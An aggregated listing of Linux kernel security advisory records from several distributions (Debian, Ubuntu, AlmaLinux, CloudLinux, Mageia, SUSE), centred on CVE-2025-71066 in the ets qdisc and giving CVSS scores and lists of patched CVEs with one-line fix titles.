OSVROOT-OS-DEBIAN-13-CVE-2025-71066 6.2

CVE-2025-71066 in linux - Patched by Root

Root has patched CVE-2025-71066 in the linux package for Root:Debian:13. Multiple fixed versions available.

Record: ROOT-OS-DEBIAN-13-CVE-2025-71066
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H
Updated: 2026-11-03

OSVROOT-OS-UBUNTU-2204-CVE-2025-71066 6.2

CVE-2025-71066 in linux - Patched by Root

Root has patched CVE-2025-71066 in the linux package for Root:Ubuntu:22.04. Multiple fixed versions available.

Record: ROOT-OS-UBUNTU-2204-CVE-2025-71066
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H
Updated: 2026-11-02

OSVROOT-OS-UBUNTU-2404-CVE-2025-71066 6.2

CVE-2025-71066 in linux - Patched by Root

Root has patched CVE-2025-71066 in the linux package for Root:Ubuntu:24.04. Multiple fixed versions available.

Record: ROOT-OS-UBUNTU-2404-CVE-2025-71066
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H
Updated: 2026-11-02

OSVUBUNTU-CVE-2025-71066 7.5

Record: UBUNTU-CVE-2025-71066
CVSS 3.1: 7.5 HighCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVALSA-2026:36956 No score

Important: kernel security update

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (CVE-2025-71066)
kernel: sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL (CVE-2026-46227)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected GFN (CVE-2026-46113)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role (CVE-2026-53359)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record: ALSA-2026:36956
Updated: 2026-11-02

OSVALSA-2026:36957 No score

Important: kernel security update

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (CVE-2025-71066)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected GFN (CVE-2026-46113)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role (CVE-2026-53359)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record: ALSA-2026:36957
Updated: 2026-11-02

OSVALSA-2026:39082 No score

Important: kernel-rt update

Please update

Record: ALSA-2026:39082
Updated: 2026-11-02

OSVALSA-2026:39083 No score

Important: kernel update

Please update

Record: ALSA-2026:39083
Updated: 2026-11-02

OSVCLSA-2026-1787307395 No score

kernel: Fix of 83 CVEs

net/sched: serialize qdisc_rtab_list against concurrent get/put {CVE-2026-68138}
static_call: Replace pointless WARN_ON() in static_call_module_notify() {CVE-2024-49954}
static_call: Handle module init failure correctly in static_call_del_module() {CVE-2024-50002}
smb: client: require a full NFS mode SID before reading mode bits {CVE-2026-43350}
octeontx2-pf: Fix potential use after free in otx2_tc_add_flow() {CVE-2025-39978}
scsi: core: Fix refcount leak for tagset_refcnt {CVE-2026-23296}
wifi: cfg80211: cancel rfkill_block work in wiphy_unregister() {CVE-2026-23336}
smb: client: fix memory leak in cifs_construct_tcon() {CVE-2025-68295}
sched/deadline: Fix warning in migrate_enable for boosted tasks {CVE-2024-56583}
nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl() {CVE-2025-40261}
usbnet: Prevents free active kevent {CVE-2025-68312}
libceph: bound get_version reply decode to front len {CVE-2026-68433}
neigh: let neigh_xmit take skb ownership {CVE-2026-52981}
gve: prevent ethtool ops after shutdown {CVE-2025-38735}
vfs: Don't leak disconnected dentries on umount {CVE-2025-40105}
NFSD: NFSv4 file creation neglects setting ACL {CVE-2025-68803}
thermal: intel: int340x: processor: Fix warning during module unload {CVE-2024-50093}
quota: fix warning in dqgrab() {CVE-2023-54177}
mm/damon/sysfs: check contexts->nr before accessing contexts_arr[0] {CVE-2026-31458}
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change {CVE-2025-71066}
bpf, skmsg: Fix NULL pointer dereference in sk_psock_skb_ingress_enqueue {CVE-2024-36938}
net: hv_netvsc: reject RSS hash key programming without RX indirection table {CVE-2026-23054}
xsk: tighten UMEM headroom validation to account for tailroom and min frame {CVE-2026-43093}
drm/shmem-helper: Fix BUG_ON() on mmap(PROT_WRITE, MAP_PRIVATE) {CVE-2024-39497}
bpf: Fix OOB in pcpu_init_value {CVE-2026-53076}
ftrace: Clean up hash direct_functions on register failures {CVE-2022-49402}
binfmt_misc: restore write access before closing files opened by open_exec() {CVE-2025-68239}
smb: client: fix smbdirect_recv_io leak in smbd_negotiate() error path {CVE-2025-39929}
wifi: mt76: Fix memory leak after mt76_connac_mcu_alloc_sta_req() {CVE-2026-53102}
xen: Add support for XenServer 6.1 platform device {CVE-2025-38046}
i2c: tegra: Do not mark ACPI devices as irq safe {CVE-2024-45029}
bpf: Add preempt_count_{sub,add} into btf id deny list {CVE-2023-54086}
libceph: Fix multiplication overflow in decode_new_up_state_weight() {CVE-2026-68158}
mptcp: Initialise rcv_mss before calling tcp_send_active_reset() in mptcp_do_fastclose() {CVE-2025-68291}
net/mlx5: Fix missing lock on sync reset reload {CVE-2024-42268}
vxlan: require CAP_NET_ADMIN in the device netns for changelink {CVE-2026-68432}
netfilter: xt_IDLETIMER: reject rev0 reuse of ALARM timer labels {CVE-2026-23274}
drm/amd/display: Validate payload length and link_index in dc_process_dmub_aux_transfer_async {CVE-2026-64219}
mac80211: fix crash in ieee80211_chan_bw_change for AP_VLAN stations {CVE-2026-31394}
bpf: Use RCU-safe iteration in dev_map_redirect_multi() SKB path {CVE-2026-53096}
scsi: mpi3mr: Fix possible crash when setting up bsg fails {CVE-2025-21723}
net: usb: qmi_wwan: initialize MAC header offset in qmimux_rx_fixup {CVE-2025-68192}
net: stream: purge sk_error_queue in sk_stream_kill_queues() {CVE-2022-50838}
clocksource: Use migrate_disable() to avoid calling get_random_u32() in atomic context {CVE-2025-21767}
net: netpoll: fix incorrect refcount handling causing incorrect cleanup {CVE-2025-68245}
drm/amd/display: Check link_res->hpo_dp_link_enc before using it {CVE-2024-47704}
crypto: qat - flush misc workqueue during device shutdown {CVE-2025-39721}
crypto: ccp: Don't attempt to copy PDH cert to userspace if PSP command failed {CVE-2026-31698}
smb: client: split cached_fid bitfields to avoid…

Record: CLSA-2026-1787307395
Updated: 2026-11-02

OSVMGASA-2026-0017 No score

Updated kernel, kmod-virtualbox & kmod-xtables-addons packages fix security vulnerabilities

Upstream kernel version 6.6.120 fixes bugs and vulnerabilities. The kmod-virtualbox & kmod-xtables-addons packages have been updated to work with this new kernel.

Record: MGASA-2026-0017
Updated: 2026-11-02

OSVMGASA-2026-0018 No score

Updated kernel-linus packages fix security vulnerabilities

Vanilla upstream kernel version 6.6.120 fixes bugs and vulnerabilities. For information about the vulnerabilities see the links.

Record: MGASA-2026-0018
Updated: 2026-11-02

OSVopenSUSE-SU-2026:20287-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 16.0 and SL MIxro 6.2 kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2025-40147: blk-throttle: fix access race during throttle policy activation (bsc#1253344).
CVE-2025-40257: mptcp: fix a race in mptcp_pm_del_add_timer() (bsc#1254842).
CVE-2025-40259: scsi: sg: Do not sleep in atomic context (bsc#1254845).
CVE-2025-40261: nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl() (bsc#1254839).
CVE-2025-40363: net: ipv6: fix field-spanning memcpy warning in AH output (bsc#1255102).
CVE-2025-68174: amd/amdkfd: enhance kfd process check in switch partition (bsc#1255327).
CVE-2025-68178: blk-cgroup: fix possible deadlock while configuring policy (bsc#1255266).
CVE-2025-68188: tcp: use dst_dev_rcu() in tcp_fastopen_active_disable_ofo_check() (bsc#1255269).
CVE-2025-68200: bpf: Add bpf_prog_run_data_pointers() (bsc#1255241).
CVE-2025-68211: ksm: use range-walk function to jump over holes in scan_get_next_rmap_item (bsc#1255319).
CVE-2025-68218: nvme-multipath: fix lockdep WARN due to partition scan work (bsc#1255245).
CVE-2025-68227: mptcp: Fix proto fallback detection with BPF (bsc#1255216).
CVE-2025-68241: ipv4: route: Prevent rt_bind_exception() from rebinding stale fnhe (bsc#1255157).
CVE-2025-68245: net: netpoll: fix incorrect refcount handling causing incorrect cleanup (bsc#1255268).
CVE-2025-68261: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() (bsc#1255164).
CVE-2025-68296: drm, fbcon, vga_switcheroo: Avoid race condition in fbcon setup (bsc#1255128).
CVE-2025-68297: ceph: fix crash in process_v2_sparse_read() for encrypted directories (bsc#1255403).
CVE-2025-68320: lan966x: Fix sleeping in atomic context (bsc#1255172).
CVE-2025-68325: net/sched: sch_cake: Fix incorrect qlen reduction in cake_drop (bsc#1255417).
CVE-2025-68337: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted (bsc#1255482).
CVE-2025-68341: veth: reduce XDP no_direct return section to fix race (bsc#1255506).
CVE-2025-68348: block: fix memory leak in __blkdev_issue_zero_pages (bsc#1255694).
CVE-2025-68349: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid (bsc#1255544).
CVE-2025-68356: gfs2: Prevent recursive memory reclaim (bsc#1255593).
CVE-2025-68359: btrfs: fix double free of qgroup record after failure to add delayed ref head (bsc#1255542).
CVE-2025-68360: wifi: mt76: wed: use proper wed reference in mt76 wed driver callabacks (bsc#1255536).
CVE-2025-68361: erofs: limit the level of fs stacking for file-backed mounts (bsc#1255526).
CVE-2025-68366: nbd: defer config unlock in nbd_genl_connect (bsc#1255622).
CVE-2025-68367: macintosh/mac_hid: fix race condition in mac_hid_toggle_emumouse (bsc#1255547).
CVE-2025-68368: md: init bioset in mddev_init (bsc#1255527).
CVE-2025-68372: nbd: defer config put in recv_work (bsc#1255537).
CVE-2025-68374: md: fix rcu protection in md_wakeup_thread (bsc#1255530).
CVE-2025-68376: coresight: ETR: Fix ETR buffer use-after-free issue (bsc#1255529).
CVE-2025-68379: RDMA/rxe: Fix null deref on srq->rq.queue after resize failure (bsc#1255695).
CVE-2025-68735: drm/panthor: Prevent potential UAF in group creation (bsc#1255811).
CVE-2025-68741: scsi: qla2xxx: Fix improper freeing of purex item (bsc#1255703).
CVE-2025-68743: mshv: Fix create memory region overlap check (bsc#1255708).
CVE-2025-68764: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags (bsc#1255930).
CVE-2025-68768: inet: frags: add inet_frag_queue_flush() (bsc#1256579).
CVE-2025-68770: bnxt_en: Fix XDP_TX path (bsc#1256584).
CVE-2025-68771: ocfs2: fix kernel BUG in ocfs2_find_victim_chain (bsc#1256582).
CVE-2025-68775: net/handshake: duplicate handshake cancellations leak socket (bsc#1256665).
CVE-2025-68776: net/hsr: fix NULL pointer dereference in prp_get_untagged_frame() (bsc#1256659). -…

Record: openSUSE-SU-2026:20287-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0447-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP7 kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2023-54013: interconnect: Fix locking for runpm vs reclaim (bsc#1256280).
CVE-2025-39880: libceph: fix invalid accesses to ceph_connection_v1_info (bsc#1250388).
CVE-2025-40238: net/mlx5: Fix IPsec cleanup over MPV device (bsc#1254871).
CVE-2025-40254: net: openvswitch: remove never-working support for setting nsh fields (bsc#1254852).
CVE-2025-40257: mptcp: fix a race in mptcp_pm_del_add_timer() (bsc#1254842).
CVE-2025-40259: scsi: sg: Do not sleep in atomic context (bsc#1254845).
CVE-2025-40261: nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl() (bsc#1254839).
CVE-2025-40264: be2net: pass wrb_params in case of OS2BMC (bsc#1254835).
CVE-2025-40328: smb: client: fix potential UAF in smb2_close_cached_fid() (bsc#1254624).
CVE-2025-40350: net/mlx5e: RX, Fix generating skb from non-linear xdp_buff for striding RQ (bsc#1255260).
CVE-2025-40355: sysfs: check visibility before changing group attribute ownership (bsc#1255261).
CVE-2025-40363: net: ipv6: fix field-spanning memcpy warning in AH output (bsc#1255102).
CVE-2025-68171: x86/fpu: Ensure XFD state on signal delivery (bsc#1255255).
CVE-2025-68174: amd/amdkfd: enhance kfd process check in switch partition (bsc#1255327).
CVE-2025-68178: blk-cgroup: fix possible deadlock while configuring policy (bsc#1255266).
CVE-2025-68188: tcp: use dst_dev_rcu() in tcp_fastopen_active_disable_ofo_check() (bsc#1255269).
CVE-2025-68200: bpf: Add bpf_prog_run_data_pointers() (bsc#1255241).
CVE-2025-68215: ice: fix PTP cleanup on driver removal in error path (bsc#1255226).
CVE-2025-68227: mptcp: Fix proto fallback detection with BPF (bsc#1255216).
CVE-2025-68241: ipv4: route: Prevent rt_bind_exception() from rebinding stale fnhe (bsc#1255157).
CVE-2025-68245: net: netpoll: fix incorrect refcount handling causing incorrect cleanup (bsc#1255268).
CVE-2025-68261: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() (bsc#1255164).
CVE-2025-68284: libceph: prevent potential out-of-bounds writes in handle_auth_session_key() (bsc#1255377).
CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
CVE-2025-68296: drm, fbcon, vga_switcheroo: Avoid race condition in fbcon setup (bsc#1255128).
CVE-2025-68297: ceph: fix crash in process_v2_sparse_read() for encrypted directories (bsc#1255403).
CVE-2025-68301: net: atlantic: fix fragment overflow handling in RX path (bsc#1255120).
CVE-2025-68320: lan966x: Fix sleeping in atomic context (bsc#1255172).
CVE-2025-68325: net/sched: sch_cake: Fix incorrect qlen reduction in cake_drop (bsc#1255417).
CVE-2025-68327: usb: renesas_usbhs: Fix synchronous external abort on unbind (bsc#1255488).
CVE-2025-68337: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted (bsc#1255482).
CVE-2025-68349: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid (bsc#1255544).
CVE-2025-68363: bpf: Check skb->transport_header is set in bpf_skb_check_mtu (bsc#1255552).
CVE-2025-68365: fs/ntfs3: Initialize allocated memory before use (bsc#1255548).
CVE-2025-68366: nbd: defer config unlock in nbd_genl_connect (bsc#1255622).
CVE-2025-68367: macintosh/mac_hid: fix race condition in mac_hid_toggle_emumouse (bsc#1255547).
CVE-2025-68372: nbd: defer config put in recv_work (bsc#1255537).
CVE-2025-68379: RDMA/rxe: Fix null deref on srq->rq.queue after resize failure (bsc#1255695).
CVE-2025-68727: ntfs3: Fix uninit buffer allocated by __getname() (bsc#1255568).
CVE-2025-68728: ntfs3: fix uninit memory after failed mi_read in mi_format_new (bsc#1255539).
CVE-2025-68733: smack: fix bug: unprivileged task can create labels (bsc#1255615).
CVE-2025-68764: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags (bsc#1255930).
CVE-2025-68768: inet:…

Record: SUSE-SU-2026:0447-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0472-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP7 Azure kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2023-54013: interconnect: Fix locking for runpm vs reclaim (bsc#1256280).
CVE-2025-39880: libceph: fix invalid accesses to ceph_connection_v1_info (bsc#1250388).
CVE-2025-40238: net/mlx5: Fix IPsec cleanup over MPV device (bsc#1254871).
CVE-2025-40254: net: openvswitch: remove never-working support for setting nsh fields (bsc#1254852).
CVE-2025-40257: mptcp: fix a race in mptcp_pm_del_add_timer() (bsc#1254842).
CVE-2025-40259: scsi: sg: Do not sleep in atomic context (bsc#1254845).
CVE-2025-40261: nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl() (bsc#1254839).
CVE-2025-40264: be2net: pass wrb_params in case of OS2BMC (bsc#1254835).
CVE-2025-40328: smb: client: fix potential UAF in smb2_close_cached_fid() (bsc#1254624).
CVE-2025-40350: net/mlx5e: RX, Fix generating skb from non-linear xdp_buff for striding RQ (bsc#1255260).
CVE-2025-40355: sysfs: check visibility before changing group attribute ownership (bsc#1255261).
CVE-2025-40363: net: ipv6: fix field-spanning memcpy warning in AH output (bsc#1255102).
CVE-2025-68171: x86/fpu: Ensure XFD state on signal delivery (bsc#1255255).
CVE-2025-68174: amd/amdkfd: enhance kfd process check in switch partition (bsc#1255327).
CVE-2025-68178: blk-cgroup: fix possible deadlock while configuring policy (bsc#1255266).
CVE-2025-68188: tcp: use dst_dev_rcu() in tcp_fastopen_active_disable_ofo_check() (bsc#1255269).
CVE-2025-68200: bpf: Add bpf_prog_run_data_pointers() (bsc#1255241).
CVE-2025-68215: ice: fix PTP cleanup on driver removal in error path (bsc#1255226).
CVE-2025-68227: mptcp: Fix proto fallback detection with BPF (bsc#1255216).
CVE-2025-68241: ipv4: route: Prevent rt_bind_exception() from rebinding stale fnhe (bsc#1255157).
CVE-2025-68245: net: netpoll: fix incorrect refcount handling causing incorrect cleanup (bsc#1255268).
CVE-2025-68261: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() (bsc#1255164).
CVE-2025-68284: libceph: prevent potential out-of-bounds writes in handle_auth_session_key() (bsc#1255377).
CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
CVE-2025-68296: drm, fbcon, vga_switcheroo: Avoid race condition in fbcon setup (bsc#1255128).
CVE-2025-68297: ceph: fix crash in process_v2_sparse_read() for encrypted directories (bsc#1255403).
CVE-2025-68301: net: atlantic: fix fragment overflow handling in RX path (bsc#1255120).
CVE-2025-68320: lan966x: Fix sleeping in atomic context (bsc#1255172).
CVE-2025-68325: net/sched: sch_cake: Fix incorrect qlen reduction in cake_drop (bsc#1255417).
CVE-2025-68327: usb: renesas_usbhs: Fix synchronous external abort on unbind (bsc#1255488).
CVE-2025-68337: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted (bsc#1255482).
CVE-2025-68349: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid (bsc#1255544).
CVE-2025-68363: bpf: Check skb->transport_header is set in bpf_skb_check_mtu (bsc#1255552).
CVE-2025-68365: fs/ntfs3: Initialize allocated memory before use (bsc#1255548).
CVE-2025-68366: nbd: defer config unlock in nbd_genl_connect (bsc#1255622).
CVE-2025-68367: macintosh/mac_hid: fix race condition in mac_hid_toggle_emumouse (bsc#1255547).
CVE-2025-68372: nbd: defer config put in recv_work (bsc#1255537).
CVE-2025-68379: RDMA/rxe: Fix null deref on srq->rq.queue after resize failure (bsc#1255695).
CVE-2025-68727: ntfs3: Fix uninit buffer allocated by __getname() (bsc#1255568).
CVE-2025-68728: ntfs3: fix uninit memory after failed mi_read in mi_format_new (bsc#1255539).
CVE-2025-68733: smack: fix bug: unprivileged task can create labels (bsc#1255615).
CVE-2025-68764: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags (bsc#1255930).
CVE-2025-68768: inet:…

Record: SUSE-SU-2026:0472-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0587-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP7 RT kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2023-54013: interconnect: Fix locking for runpm vs reclaim (bsc#1256280).
CVE-2025-39880: libceph: fix invalid accesses to ceph_connection_v1_info (bsc#1250388).
CVE-2025-40238: net/mlx5: Fix IPsec cleanup over MPV device (bsc#1254871).
CVE-2025-40254: net: openvswitch: remove never-working support for setting nsh fields (bsc#1254852).
CVE-2025-40257: mptcp: fix a race in mptcp_pm_del_add_timer() (bsc#1254842).
CVE-2025-40259: scsi: sg: Do not sleep in atomic context (bsc#1254845).
CVE-2025-40261: nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl() (bsc#1254839).
CVE-2025-40264: be2net: pass wrb_params in case of OS2BMC (bsc#1254835).
CVE-2025-40328: smb: client: fix potential UAF in smb2_close_cached_fid() (bsc#1254624).
CVE-2025-40350: net/mlx5e: RX, Fix generating skb from non-linear xdp_buff for striding RQ (bsc#1255260).
CVE-2025-40355: sysfs: check visibility before changing group attribute ownership (bsc#1255261).
CVE-2025-40363: net: ipv6: fix field-spanning memcpy warning in AH output (bsc#1255102).
CVE-2025-68171: x86/fpu: Ensure XFD state on signal delivery (bsc#1255255).
CVE-2025-68174: amd/amdkfd: enhance kfd process check in switch partition (bsc#1255327).
CVE-2025-68178: blk-cgroup: fix possible deadlock while configuring policy (bsc#1255266).
CVE-2025-68188: tcp: use dst_dev_rcu() in tcp_fastopen_active_disable_ofo_check() (bsc#1255269).
CVE-2025-68200: bpf: Add bpf_prog_run_data_pointers() (bsc#1255241).
CVE-2025-68215: ice: fix PTP cleanup on driver removal in error path (bsc#1255226).
CVE-2025-68227: mptcp: Fix proto fallback detection with BPF (bsc#1255216).
CVE-2025-68241: ipv4: route: Prevent rt_bind_exception() from rebinding stale fnhe (bsc#1255157).
CVE-2025-68245: net: netpoll: fix incorrect refcount handling causing incorrect cleanup (bsc#1255268).
CVE-2025-68261: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() (bsc#1255164).
CVE-2025-68284: libceph: prevent potential out-of-bounds writes in handle_auth_session_key() (bsc#1255377).
CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
CVE-2025-68296: drm, fbcon, vga_switcheroo: Avoid race condition in fbcon setup (bsc#1255128).
CVE-2025-68297: ceph: fix crash in process_v2_sparse_read() for encrypted directories (bsc#1255403).
CVE-2025-68301: net: atlantic: fix fragment overflow handling in RX path (bsc#1255120).
CVE-2025-68320: lan966x: Fix sleeping in atomic context (bsc#1255172).
CVE-2025-68325: net/sched: sch_cake: Fix incorrect qlen reduction in cake_drop (bsc#1255417).
CVE-2025-68327: usb: renesas_usbhs: Fix synchronous external abort on unbind (bsc#1255488).
CVE-2025-68337: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted (bsc#1255482).
CVE-2025-68349: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid (bsc#1255544).
CVE-2025-68363: bpf: Check skb->transport_header is set in bpf_skb_check_mtu (bsc#1255552).
CVE-2025-68365: fs/ntfs3: Initialize allocated memory before use (bsc#1255548).
CVE-2025-68366: nbd: defer config unlock in nbd_genl_connect (bsc#1255622).
CVE-2025-68367: macintosh/mac_hid: fix race condition in mac_hid_toggle_emumouse (bsc#1255547).
CVE-2025-68372: nbd: defer config put in recv_work (bsc#1255537).
CVE-2025-68379: RDMA/rxe: Fix null deref on srq->rq.queue after resize failure (bsc#1255695).
CVE-2025-68727: ntfs3: Fix uninit buffer allocated by __getname() (bsc#1255568).
CVE-2025-68728: ntfs3: fix uninit memory after failed mi_read in mi_format_new (bsc#1255539).
CVE-2025-68733: smack: fix bug: unprivileged task can create labels (bsc#1255615).
CVE-2025-68764: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags (bsc#1255930).
CVE-2025-68768: inet:…

Record: SUSE-SU-2026:0587-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0928-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP3 kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2023-53794: cifs: fix session state check in reconnect to avoid use-after-free issue (bsc#1255163).
CVE-2023-53827: Bluetooth: L2CAP: Fix use-after-free in l2cap_disconnect_{req,rsp} (bsc#1255049).
CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1247177).
CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net: add skb_header_pointer_careful() helper (bsc#1258340).

The following non security issues were fixed:

apparmor: fix differential encoding verification (bsc#1258849).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).

Record: SUSE-SU-2026:0928-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0961-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP3 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

CVE-2023-53794: cifs: fix session state check in reconnect to avoid use-after-free issue (bsc#1255163).
CVE-2023-53827: Bluetooth: L2CAP: Fix use-after-free in l2cap_disconnect_{req,rsp} (bsc#1255049).
CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-38224: can: kvaser_pciefd: refine error prone echo_skb_max handling logic (bsc#1246166).
CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1247177).
CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1258340).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb

The following non-security bugs were fixed:

Disable CONFIG_NET_SCH_ATM (jsc#PED-12836).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix differential encoding verification (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).

Record: SUSE-SU-2026:0961-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0984-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-40242: gfs2: Fix unlikely race in gdlm_put_lock (bsc#1255075).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1258340).
CVE-2026-23209: macvlan: fix error recovery in macvlan_common_newlink() (bsc#1258518).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management (bsc#1258850).
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1259857).

The following non-security bugs were fixed:

Disable CONFIG_NET_SCH_ATM (jsc#PED-12836).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix differential encoding verification (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix race between freeing data and fs accessing it (bsc#1258849).
apparmor: fix race on rawdata dereference (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
